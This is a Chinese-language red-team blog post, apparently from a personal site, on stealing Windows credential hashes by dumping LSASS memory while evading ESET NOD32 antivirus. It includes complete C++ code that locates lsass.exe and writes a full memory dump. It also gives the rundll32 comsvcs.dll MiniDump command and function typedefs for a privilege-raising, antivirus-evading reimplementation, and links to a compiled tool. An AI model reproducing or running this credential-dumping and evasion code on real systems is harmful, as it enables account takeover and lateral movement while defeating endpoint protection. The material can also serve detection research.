绕过ESET_NOD32抓取密码

我年纪还轻,阅历不深的时候,我父亲教导过我一句话,我至今还念念不忘。“每逢你想要批评任何人的时候,”他对我说,“你就记住,这个世界上所有的人,并不是个个都有过你拥有的那些优越条件。

―菲茨杰拉德《了不起的盖茨比》


聊一聊绕过ESET_NOD32抓取密码。

聊一聊绕过ESET_NOD32抓取密码的方法,这里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft windows server,测试版本如下:

image

为试用版本,并不影响我们的测试效果。目前很多的dump手法使用的是利用MiniDumpWriteDump这个API进行进程的内存dump,demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;

int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";

if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}

lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}

return 0;
}

编译好版本可以去我的Github下载:https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump

我们来看看ESET_NOD32对它的反应:

image

无情的删除,因为这类API已经被拦截的很严重了。这里我们使用另外的一种方法来进行操作。首先我们来看一个白名单文件, comsvcs.dll,使用它dump的方法如下:

1
rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"

1234为lsass的PID进程号,注意需要管理员权限,而这类行为又属于敏感行为,所以我们来自己实现一个该DLL的功能,主要为 MiniDump,其为comsvcs.dll的一个导出函数。

image

而权限提升可以使用RtlAdjustPrivilege来进行,这个函数封装在NtDll.dll中,MSDN没有专门的文档介绍它,就是说你在MSDN上查不到关于它的任何信息,但是可以在微软官方的WRK(Windows研究内核)里找到它的源代码。其定义如下:

1
2
3
4
5
6
NTSTATUS RtlAdjustPrivilege(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
)

剩下的将刚才所说的函数进行实现,demo如下:

1
2
3
4
5
6
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);

最后成功的绕过了绕过ESET_NOD32 dump了进程hash。

image

本文标题:绕过ESET_NOD32抓取密码

文章作者:冷逸

发布时间:2021年03月03日 - 19:03

最后更新:2021年03月03日 - 19:03

原始链接:https://lengjibo.github.io/nod32-bypass/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!